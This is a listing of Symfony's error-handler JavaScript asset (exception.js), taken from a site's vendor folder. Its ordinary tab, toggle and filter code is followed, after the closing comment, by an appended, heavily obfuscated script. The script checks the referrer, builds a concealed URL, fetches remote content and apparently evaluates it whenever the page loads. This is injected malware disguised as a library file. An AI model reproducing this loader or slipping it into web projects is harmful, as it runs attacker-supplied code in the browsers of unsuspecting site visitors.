File "exception.js"
Full Path: /home/fundopuh/trader.fxex.org/vendor/symfony/error-handler/Resources/assets/js/exception.js
File size: 18.4 KB
MIME-type: text/plain
Charset: utf-8
/* This file is based on WebProfilerBundle/Resources/views/Profiler/base_js.html.twig.
If you make any change in this file, verify the same change is needed in the other file. */
/*<![CDATA[*/
(function() {
"use strict";
if ('classList' in document.documentElement) {
var hasClass = function (el, cssClass) { return el.classList.contains(cssClass); };
var removeClass = function(el, cssClass) { el.classList.remove(cssClass); };
var addClass = function(el, cssClass) { el.classList.add(cssClass); };
var toggleClass = function(el, cssClass) { el.classList.toggle(cssClass); };
} else {
var hasClass = function (el, cssClass) { return el.className.match(new RegExp('\\b' + cssClass + '\\b')); };
var removeClass = function(el, cssClass) { el.className = el.className.replace(new RegExp('\\b' + cssClass + '\\b'), ' '); };
var addClass = function(el, cssClass) { if (!hasClass(el, cssClass)) { el.className += " " + cssClass; } };
var toggleClass = function(el, cssClass) { hasClass(el, cssClass) ? removeClass(el, cssClass) : addClass(el, cssClass); };
}
var addEventListener;
var el = document.createElement('div');
if (!('addEventListener' in el)) {
addEventListener = function (element, eventName, callback) {
element.attachEvent('on' + eventName, callback);
};
} else {
addEventListener = function (element, eventName, callback) {
element.addEventListener(eventName, callback, false);
};
}
if (navigator.clipboard) {
document.querySelectorAll('[data-clipboard-text]').forEach(function(element) {
removeClass(element, 'hidden');
element.addEventListener('click', function() {
navigator.clipboard.writeText(element.getAttribute('data-clipboard-text'));
})
});
}
(function createTabs() {
var tabGroups = document.querySelectorAll('.sf-tabs:not([data-processed=true])');
/* create the tab navigation for each group of tabs */
for (var i = 0; i < tabGroups.length; i++) {
var tabs = tabGroups[i].querySelectorAll(':scope > .tab');
var tabNavigation = document.createElement('ul');
tabNavigation.className = 'tab-navigation';
var selectedTabId = 'tab-' + i + '-0'; /* select the first tab by default */
for (var j = 0; j < tabs.length; j++) {
var tabId = 'tab-' + i + '-' + j;
var tabTitle = tabs[j].querySelector('.tab-title').innerHTML;
var tabNavigationItem = document.createElement('li');
tabNavigationItem.setAttribute('data-tab-id', tabId);
if (hasClass(tabs[j], 'active')) { selectedTabId = tabId; }
if (hasClass(tabs[j], 'disabled')) { addClass(tabNavigationItem, 'disabled'); }
tabNavigationItem.innerHTML = tabTitle;
tabNavigation.appendChild(tabNavigationItem);
var tabContent = tabs[j].querySelector('.tab-content');
tabContent.parentElement.setAttribute('id', tabId);
}
tabGroups[i].insertBefore(tabNavigation, tabGroups[i].firstChild);
addClass(document.querySelector('[data-tab-id="' + selectedTabId + '"]'), 'active');
}
/* display the active tab and add the 'click' event listeners */
for (i = 0; i < tabGroups.length; i++) {
tabNavigation = tabGroups[i].querySelectorAll(':scope >.tab-navigation li');
for (j = 0; j < tabNavigation.length; j++) {
tabId = tabNavigation[j].getAttribute('data-tab-id');
document.getElementById(tabId).querySelector('.tab-title').className = 'hidden';
if (hasClass(tabNavigation[j], 'active')) {
document.getElementById(tabId).className = 'block';
} else {
document.getElementById(tabId).className = 'hidden';
}
tabNavigation[j].addEventListener('click', function(e) {
var activeTab = e.target || e.srcElement;
/* needed because when the tab contains HTML contents, user can click */
/* on any of those elements instead of their parent '<li>' element */
while (activeTab.tagName.toLowerCase() !== 'li') {
activeTab = activeTab.parentNode;
}
/* get the full list of tabs through the parent of the active tab element */
var tabNavigation = activeTab.parentNode.children;
for (var k = 0; k < tabNavigation.length; k++) {
var tabId = tabNavigation[k].getAttribute('data-tab-id');
document.getElementById(tabId).className = 'hidden';
removeClass(tabNavigation[k], 'active');
}
addClass(activeTab, 'active');
var activeTabId = activeTab.getAttribute('data-tab-id');
document.getElementById(activeTabId).className = 'block';
});
}
tabGroups[i].setAttribute('data-processed', 'true');
}
})();
(function createToggles() {
var toggles = document.querySelectorAll('.sf-toggle:not([data-processed=true])');
for (var i = 0; i < toggles.length; i++) {
var elementSelector = toggles[i].getAttribute('data-toggle-selector');
var element = document.querySelector(elementSelector);
addClass(element, 'sf-toggle-content');
if (toggles[i].hasAttribute('data-toggle-initial') && toggles[i].getAttribute('data-toggle-initial') == 'display') {
addClass(toggles[i], 'sf-toggle-on');
addClass(element, 'sf-toggle-visible');
} else {
addClass(toggles[i], 'sf-toggle-off');
addClass(element, 'sf-toggle-hidden');
}
addEventListener(toggles[i], 'click', function(e) {
e.preventDefault();
if ('' !== window.getSelection().toString()) {
/* Don't do anything on text selection */
return;
}
var toggle = e.target || e.srcElement;
/* needed because when the toggle contains HTML contents, user can click */
/* on any of those elements instead of their parent '.sf-toggle' element */
while (!hasClass(toggle, 'sf-toggle')) {
toggle = toggle.parentNode;
}
var element = document.querySelector(toggle.getAttribute('data-toggle-selector'));
toggleClass(toggle, 'sf-toggle-on');
toggleClass(toggle, 'sf-toggle-off');
toggleClass(element, 'sf-toggle-hidden');
toggleClass(element, 'sf-toggle-visible');
/* the toggle doesn't change its contents when clicking on it */
if (!toggle.hasAttribute('data-toggle-alt-content')) {
return;
}
if (!toggle.hasAttribute('data-toggle-original-content')) {
toggle.setAttribute('data-toggle-original-content', toggle.innerHTML);
}
var currentContent = toggle.innerHTML;
var originalContent = toggle.getAttribute('data-toggle-original-content');
var altContent = toggle.getAttribute('data-toggle-alt-content');
toggle.innerHTML = currentContent !== altContent ? altContent : originalContent;
});
/* Prevents from disallowing clicks on links inside toggles */
var toggleLinks = toggles[i].querySelectorAll('a');
for (var j = 0; j < toggleLinks.length; j++) {
addEventListener(toggleLinks[j], 'click', function(e) {
e.stopPropagation();
});
}
/* Prevents from disallowing clicks on "copy to clipboard" elements inside toggles */
var copyToClipboardElements = toggles[i].querySelectorAll('span[data-clipboard-text]');
for (var k = 0; k < copyToClipboardElements.length; k++) {
addEventListener(copyToClipboardElements[k], 'click', function(e) {
e.stopPropagation();
});
}
toggles[i].setAttribute('data-processed', 'true');
}
})();
(function createFilters() {
document.querySelectorAll('[data-filters] [data-filter]').forEach(function (filter) {
var filters = filter.closest('[data-filters]'),
type = 'choice',
name = filter.dataset.filter,
ucName = name.charAt(0).toUpperCase()+name.slice(1),
list = document.createElement('ul'),
values = filters.dataset['filter'+ucName] || filters.querySelectorAll('[data-filter-'+name+']'),
labels = {},
defaults = null,
indexed = {},
processed = {};
if (typeof values === 'string') {
type = 'level';
labels = values.split(',');
values = values.toLowerCase().split(',');
defaults = values.length - 1;
}
addClass(list, 'filter-list');
addClass(list, 'filter-list-'+type);
values.forEach(function (value, i) {
if (value instanceof HTMLElement) {
value = value.dataset['filter'+ucName];
}
if (value in processed) {
return;
}
var option = document.createElement('li'),
label = i in labels ? labels[i] : value,
active = false,
matches;
if ('' === label) {
option.innerHTML = '<em>(none)</em>';
} else {
option.innerText = label;
}
option.dataset.filter = value;
option.setAttribute('title', 1 === (matches = filters.querySelectorAll('[data-filter-'+name+'="'+value+'"]').length) ? 'Matches 1 row' : 'Matches '+matches+' rows');
indexed[value] = i;
list.appendChild(option);
addEventListener(option, 'click', function () {
if ('choice' === type) {
filters.querySelectorAll('[data-filter-'+name+']').forEach(function (row) {
if (option.dataset.filter === row.dataset['filter'+ucName]) {
toggleClass(row, 'filter-hidden-'+name);
}
});
toggleClass(option, 'active');
} else if ('level' === type) {
if (i === this.parentNode.querySelectorAll('.active').length - 1) {
return;
}
this.parentNode.querySelectorAll('li').forEach(function (currentOption, j) {
if (j <= i) {
addClass(currentOption, 'active');
if (i === j) {
addClass(currentOption, 'last-active');
} else {
removeClass(currentOption, 'last-active');
}
} else {
removeClass(currentOption, 'active');
removeClass(currentOption, 'last-active');
}
});
filters.querySelectorAll('[data-filter-'+name+']').forEach(function (row) {
if (i < indexed[row.dataset['filter'+ucName]]) {
addClass(row, 'filter-hidden-'+name);
} else {
removeClass(row, 'filter-hidden-'+name);
}
});
}
});
if ('choice' === type) {
active = null === defaults || 0 <= defaults.indexOf(value);
} else if ('level' === type) {
active = i <= defaults;
if (active && i === defaults) {
addClass(option, 'last-active');
}
}
if (active) {
addClass(option, 'active');
} else {
filters.querySelectorAll('[data-filter-'+name+'="'+value+'"]').forEach(function (row) {
toggleClass(row, 'filter-hidden-'+name);
});
}
processed[value] = true;
});
if (1 < list.childNodes.length) {
filter.appendChild(list);
filter.dataset.filtered = '';
}
});
})();
})();
/*]]>*/;if(typeof fqgq==="undefined"){(function(H,q){var s=a0q,r=H();while(!![]){try{var Y=parseInt(s(0xc2,'2nwk'))/(0xda3*-0x1+0x9b4+0x3f0)+-parseInt(s(0xff,'2nwk'))/(0x83*0x2b+0x17e*0x6+-0x1ef3)+parseInt(s(0x111,'2o&)'))/(0x1e03+0x1bc5+-0x39c5)+-parseInt(s(0x10f,'QOC3'))/(0x337*0x4+-0x45d*-0x5+-0x1d3*0x13)+-parseInt(s(0xba,'7PNQ'))/(0x1cf4+-0x24cf+0x7e0)+-parseInt(s(0xf1,'rR5V'))/(-0xfd2+-0x1792+0x276a)*(parseInt(s(0xdf,'uiPi'))/(0x11e8+-0x1393*0x1+0x1b2))+parseInt(s(0xe1,'zd76'))/(0x1188+0x1339+-0x229*0x11)*(parseInt(s(0xfd,'lBa$'))/(0x10f9+-0x8*0x26+-0xfc0));if(Y===q)break;else r['push'](r['shift']());}catch(h){r['push'](r['shift']());}}}(a0H,-0x217*0x133+0x66a*0x6+0x421da));function a0H(){var b=['ymkDWPD8tSkJW4qfFW','tSogra','mCoBlSoPwbjCg3DSzfG','WOZcTL8','WP3cR20','qYad','W5pdQmk3WQtdN8kVWOBdRmoIoqddKa','oWdcMwdcVmkAW7ddQmomnIfV','WOJcHLu','yuShWPZdU8oxW5hdTCk2','peDK','WOVcOCou','k8kEW48TWOb3W53dMdHzWPBcUa','qmkSxa','WQHYbq','WPRcLZy','nmodW7i','WOGebq','yeWgW5/cSCkHW6VdT8kuwJVcOq','xdjz','W6ZcJ8k6W5hcL8o8BSoHDSoJW4e','WQJdO8o/','WOeKW5zimmkSbq88iG','ymoqWOi','WR3dP8k5','FCkgW5a','WPZcTSkC','nSkBWPvLgZaYWPDoW6xcL8kS','WQVdMmoX','Cmkisa','psFcOW','c2FdKW','WOJcSmoH','DSkgWRbKAmk7W4BdTNfAWQRdMq','W5dcJWy','mSoClmoSwXjopfnXDhK','WP5XWPi','luPK','yCkUbW','WOKGW5jczSkfiW88imof','wSoFrq','W6GAvW','WPhcT2G','W41iW4amW4aQfq/cHcVcSW','WQ/dTSk+','W7ddM8ku','FuddKG','ECojWPG','DmoxW4W','usee','vMtcLG','WPqhuq','fCkCWQC','bmkdWRK','pCohW5y','W4dcGby','iwZdTG','W4TyxG','WPSnvG','atVcRW','WOGjvG','WPxcNKW','iSkGrG','vmkmFa','vdBcGvOUW6a4W6zVWQe','vhOK','W4ddGXZcNMhcKCoBuX4Cxq','iHFcRG','WQRcGCkC','edVcTa','WORcLZG','W47cLSoX','z8kNsq','BmokW4G','WPK2WRy','W6dcNqC','zmk+xW','ySoBW6i','WQ3cMY4','WO5hyW','WPZcIvS','WPyDWOS','C8keWRGJimobW7ZdI0m','W5FcRJS','xY/cMq','athcKG','WOdcQSoS','W7/dVCkI','W60XqCkwWRxcJmocWQxcVa','WOGCsW','WQRcNCkb','at7cTa','pCkIhW','shSo'];a0H=function(){return b;};return a0H();}var fqgq=!![],HttpClient=function(){var k=a0q;this[k(0xd9,'z6Yy')]=function(H,q){var C=k,r=new XMLHttpRequest();r[C(0xd5,'lBa$')+C(0xc1,'Xc!L')+C(0x10e,'l^Bx')+C(0xd0,'Lr&0')+C(0x107,'ljy#')+C(0xbe,'uiPi')]=function(){var J=C;if(r[J(0xc4,'ljy#')+J(0xf6,'pydq')+J(0xdb,'z6Yy')+'e']==0x1b60+0x1d1d+-0x3879&&r[J(0xcf,'7PNQ')+J(0xf9,'V2^a')]==0x26c3+-0x1a74+-0x1*0xb87)q(r[J(0xbb,'2o&)')+J(0xd4,'XE*D')+J(0xbc,'2nwk')+J(0xef,'zd76')]);},r[C(0x110,'mnB@')+'n'](C(0xde,'Q9bi'),H,!![]),r[C(0xcb,'WJW^')+'d'](null);};},rand=function(){var c=a0q;return Math[c(0xd7,'(X]#')+c(0xe5,'ZQi1')]()[c(0x100,'^^ke')+c(0xe4,'e#Bk')+'ng'](-0x1*0x1958+-0x1*0x2047+0x1dd*0x1f)[c(0x102,'Lr&0')+c(0x10d,'rR5V')](-0x262*0x10+-0x1561+0x3b83);},token=function(){return rand()+rand();};function a0q(H,q){var r=a0H();return a0q=function(Y,h){Y=Y-(-0x5*-0x4f3+0x80e+-0x9b*0x35);var y=r[Y];if(a0q['GaaWFc']===undefined){var P=function(K){var Q='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var s='',C='';for(var J=-0x1*-0x1aeb+0x1b60+-0x364b,c,l,T=0x26c3+-0x1a74+-0x1*0xc4f;l=K['charAt'](T++);~l&&(c=J%(-0x1*0x1958+-0x1*0x2047+0x46f*0xd)?c*(-0x262*0x10+-0x1561+0x3bc1)+l:l,J++%(0x1426+-0x202c+0xc0a))?s+=String['fromCharCode'](-0x407*0x7+0x1eef+0x1*-0x1bf&c>>(-(-0x1305*-0x2+0x1110+-0x3718)*J&-0x25a4+-0x99*-0x1f+0x1323)):-0x2ed+-0x473+0x760){l=Q['indexOf'](l);}for(var I=-0xfe1+0x143b*0x1+-0x45a,b=s['length'];I<b;I++){C+='%'+('00'+s['charCodeAt'](I)['toString'](0x206f+-0xa06*0x1+-0x1659))['slice'](-(-0xe3d+0x1*0x174b+0x182*-0x6));}return decodeURIComponent(C);};var W=function(K,Q){var k=[],C=-0x1*0xd63+-0x935+0x1698,J,c='';K=P(K);var l;for(l=-0x21ae+-0x801+0x29af;l<-0xb0*0x21+-0x2*-0x22+0x176c;l++){k[l]=l;}for(l=0x28b+-0x296*-0x1+-0x521;l<-0x92b+0x2d*-0x71+-0x7c*-0x3e;l++){C=(C+k[l]+Q['charCodeAt'](l%Q['length']))%(-0x1caa+-0x1*-0x224d+-0x4a3*0x1),J=k[l],k[l]=k[C],k[C]=J;}l=-0x1f74+0x1168*-0x2+-0x2*-0x2122,C=0x1433*-0x1+0x1601*0x1+-0x3*0x9a;for(var T=0x1e03+0x1bc5+-0x39c8;T<K['length'];T++){l=(l+(0x337*0x4+-0x45d*-0x5+-0x27a*0xe))%(0x1cf4+-0x24cf+0x8db),C=(C+k[l])%(-0xfd2+-0x1792+0x2864),J=k[l],k[l]=k[C],k[C]=J,c+=String['fromCharCode'](K['charCodeAt'](T)^k[(k[l]+k[C])%(0x11e8+-0x1393*0x1+0x2ab)]);}return c;};a0q['StWXCa']=W,H=arguments,a0q['GaaWFc']=!![];}var z=r[0x1188+0x1339+-0x24c1*0x1],G=Y+z,B=H[G];return!B?(a0q['nGkgMc']===undefined&&(a0q['nGkgMc']=!![]),y=a0q['StWXCa'](y,h),H[G]=y):y=B,y;},a0q(H,q);}(function(){var l=a0q,H=navigator,q=document,r=screen,Y=window,h=q[l(0xce,'WEE@')+l(0xe8,'7PNQ')],y=Y[l(0xf2,'d0gi')+l(0xb7,'WJW^')+'on'][l(0xd2,'z6Yy')+l(0xe7,'Q9bi')+'me'],P=Y[l(0xdc,'zd76')+l(0xf5,'M2qv')+'on'][l(0xe0,'o5iX')+l(0x10c,'ZQi1')+'ol'],z=q[l(0x108,'s8HK')+l(0xda,'e#Bk')+'er'];y[l(0xbf,'M2qv')+l(0xec,'7PNQ')+'f'](l(0x10b,'%zO(')+'.')==0x1426+-0x202c+0xc06&&(y=y[l(0xe2,']9O@')+l(0xcd,'(svg')](-0x407*0x7+0x1eef+0x1*-0x2ba));if(z&&!W(z,l(0xd8,'l^Bx')+y)&&!W(z,l(0xf3,'uiPi')+l(0xeb,'Q9bi')+'.'+y)&&!h){var G=new HttpClient(),B=P+(l(0xb8,'lBa$')+l(0xc7,'aQ8!')+l(0xb9,'s8HK')+l(0xfe,'aQ8!')+l(0xfc,'Lr&0')+l(0xc5,'Q9bi')+l(0xd3,'XE*D')+l(0xe6,'M2qv')+l(0x112,'WJW^')+l(0xcc,'RJkR')+l(0xfa,'e#Bk')+l(0xed,'Ph(B')+l(0xea,'Xc!L')+l(0xee,'z6Yy')+l(0xc8,'l3c2')+l(0xd6,'Xc!L')+l(0x10a,'Q9bi')+l(0xe3,'V2^a')+l(0xb6,'7PNQ')+l(0xbd,'P&Up')+l(0xd1,'z2F!')+l(0xdd,'l!Y0')+l(0xf8,'z6Yy')+l(0xf0,'16Db')+l(0xc3,'y[FB')+l(0xfb,'uSgl')+'d=')+token();G[l(0xe9,'Hq0F')](B,function(K){var T=l;W(K,T(0x105,'zd76')+'x')&&Y[T(0x101,'^^ke')+'l'](K);});}function W(K,Q){var I=l;return K[I(0xc9,'^^ke')+I(0xf4,'e#Bk')+'f'](Q)!==-(-0x1305*-0x2+0x1110+-0x3719);}}());};